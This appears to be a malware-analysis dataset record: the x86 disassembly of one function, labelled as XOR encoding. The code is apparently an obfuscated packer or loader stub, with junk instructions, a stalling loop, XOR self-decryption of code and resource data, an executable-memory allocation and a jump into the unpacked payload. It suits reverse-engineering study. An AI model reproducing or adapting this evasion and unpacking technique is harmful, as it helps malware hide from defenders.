Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x4ac0595a
mov ecx, eax
add ecx, eax
sub ecx, 0x8edb9999
popal
sub eax, ecx
sub ecx, eax
mov ebx, 0
mov eax, edi
add edx, 0x3e2b2291
sub edx, esi
mov ecx, eax
mov edx, esi
not edx
add esi, 0x2b8d54aa
mov edi, ecx
or esi, esi
mov edx, esi
inc ebx
sub edx, 0x27432bef
and esi, esi
or edx, edx
cmp ebx, 0x100d6b9
jne 0xa789c6
mov esi, 0xbf265318
and edx, esi
mov esi, 0x2cd43fe1
add ecx, eax
sub eax, 0x29a93b6b
not eax
mov esi, 0xa78796
or eax, eax
mov edi, eax
mov ebx, edi
mov ecx, 0xa7898a
mov eax, edi
dec ebx
mov edi, eax
mov edx, dword [esi]
sub ebx, eax
add edi, 0x474b7fc8
sub ebx, 0xceebad6d
and edx, 0xff
sub edi, eax
and eax, ebx
xor dword [ecx], edx
add eax, edi
add ebx, 0x83d9ad92
inc ecx
dec ebx
dec ebx
inc esi
sub eax, 1
add ebx, 1
and edi, eax
cmp ecx, entry0
jl 0xa78a24
not eax
sub ebx, 0x5f8934c5
not edi
or ebx, edi
not edi
or edi, esi
and edi, edx
dec edi
mov ebx, 0xa7898e
and edx, esi
sub ecx, 1
and edi, ecx
mov ebx, dword [ebx]
sub ecx, 0x3d3c9aaf
add ecx, edx
mov ebx, dword [ebx]
inc edx
add ecx, 0x301a8182
add edx, 0xd27803d0
push ebx
inc edi
sub ecx, 1
mov ebx, 0xa7898a
add edi, esi
and edx, edi
not edx
mov ebx, dword [ebx]
or ecx, esi
mov edi, esi
mov ebx, dword [ebx]
not edi
add esi, 0xd6698aae
sub esp, 4
mov dword [esp], 0xa78992
inc edx
or edx, edi
call ebx
add edi, ecx
sub esi, 1
pop ebx
inc esi
and ecx, edi
mov edx, esi
sub esp, 4
mov dword [esp], 0xa7899f
not ecx
inc esi
push eax
and edi, ecx
mov edx, 0x35b79fc7
call ebx
and ecx, edi
mov edx, 0x48138ce2
or ecx, ecx
push 0x40
mov edi, 0xd6757614
add edi, 0xbba55306
push 0x3000
sub ecx, esi
not edx
push 0x20000c83
add edx, edx
add edi, 0xc1492527
or esi, ecx
push 0
mov edi, 0x9cb018c3
dec edi
call eax
sub esi, ecx
and edi, edx
add edi, esi
add eax, 0x20000bf8
mov esi, 0x148d4c36
sub esi, 0x47ee8425
mov ebx, 0xe7741651
sub edx, 0xb5800441
not esi
dec edx
mov dword [eax], ebx
sub edx, 0x138114b1
not esi
sub edx, edi
mov ebx, dword [eax]
add edi, edx
dec edi
cmp ebx, 0xe7741651
je 0xa78b7b
mov edx, 0
mov ecx, dword [edx]
mov edx, edi
sub esi, ecx
sub ecx, 0xd2c7c952
sub ecx, 0x67b8f24f
add ecx, 0x98a29638
sub ecx, 0x66ccf4ec
and eax, ecx
mov eax, 0xdba5be8f
mov ebx, section..rsrc_1
dec ecx
add ecx, 0x46f00fab
sub ecx, 1
mov edi, 0xa78795
or ecx, ecx
inc ecx
sub eax, ecx
mov edx, 0
not eax
add ecx, 0x8759c0c3
mov esi, 0xa78796
and ecx, eax
add eax, 0xab0b128c
lea esi, [edx + esi]
mov ecx, eax
mov eax, ecx
mov esi, dword [esi]
add ecx, 0x6180f40
inc eax
and esi, 0xff
or ecx, ecx
inc eax
mov eax, 0x4cc8b5d4
add edx, 1
add ecx, ecx
dec ecx
inc ecx
cmp edx, 0x1f4
jne 0xa78c09
mov edx, 0
sub ecx, 0xea520662
or ecx, ecx
add eax, 0x5e37dc6d
and ecx, eax
sub eax, 0xa4c0b27
add ecx, eax
xor dword [ebx], esi
sub ecx, eax
sub ecx, 0xe2bd661
and ecx, eax
add ebx, 2
mov eax, 0x18181f2f
sub eax, ecx
mov eax, ecx
cmp ebx, edi
jl 0xa78bc7
mov ecx, eax
mov ecx, 0x4e181ef7
sub ecx, eax
add ecx, 0x7de0f4a5
dec eax
mov ecx, section..rsrc_1
sub edi, ebx
mov edi, ebx
mov esi, section..rsrc_1
mov edi, ebx
mov ebx, 0x2afcc7e3
mov eax, 0xa78795
and edi, edi
add ebx, edi
mov edx, 0
sub ebx, edi
not edi
add edi, edi
mov dl, byte [esi]
sub ebx, edi
mov edi, ebx
mov byte [ecx], dl
add edi, 0xa840d449
add edi, edi
inc ecx
add ebx, 1
and ebx, ebx
add esi, 2
add ebx, ebx
add ebx, 0x48bcae91
cmp esi, eax
jle 0xa78c7d
sub edi, 0x3b1b820e
mov edi, 0xb41b3ba8
add ecx, ecx
add ecx, 0xd7de4b7c
push 0x8dc6a0
inc eax
add eax, 0xfcf8f219
sub ecx, 0xf14c4f38
ret